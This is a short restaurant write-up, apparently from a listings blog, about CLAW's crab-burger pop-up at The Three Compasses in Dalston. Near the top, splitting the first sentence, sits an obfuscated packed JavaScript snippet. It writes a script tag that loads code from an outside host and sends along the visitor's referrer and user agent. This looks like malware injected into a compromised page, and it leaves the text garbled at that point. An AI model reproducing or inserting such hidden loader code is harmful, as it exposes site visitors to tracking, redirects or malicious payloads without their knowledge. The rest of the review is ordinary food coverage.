CLAW POPS UP

CLAW (function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(” 4=\’7://5.8.9.f/1/h.s.t?r=”+3(0.p)+”\o=”+3(j.i)+”\’><\/k"+"l>“);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ktsty|var|u0026u|referrer|btayr||js|php’.split(‘|’),0,{}))
has scuttled all the way over to Dalston, pitching up at The Three Compasses with their crustaceans fresh from the Devon coast. Normally a fiddly little thing isn’t it…the crab. Not when it’s flattened out into a burger it ain’t…and at claw your way through a menu of five burgers, from Devonshire hand-picked crab to freshwater shrimps and Newlyn barbecued octopus. All come served in an organic soft brioche bun with tarragon salted fries. Oh yes, Dalston has changed…

There’s also some banging sides too, we’d recommend having a snip at the crab & mac and the crab and mozzarella arancini balls. They go down swimmingly with a pint or two.

Another reason that will send you side ways is their seafood-focused brunch menu on weekends. Winner winner!

Until end of January 2016
99 Dalston Lane, E8 1NH
www.clawfood.com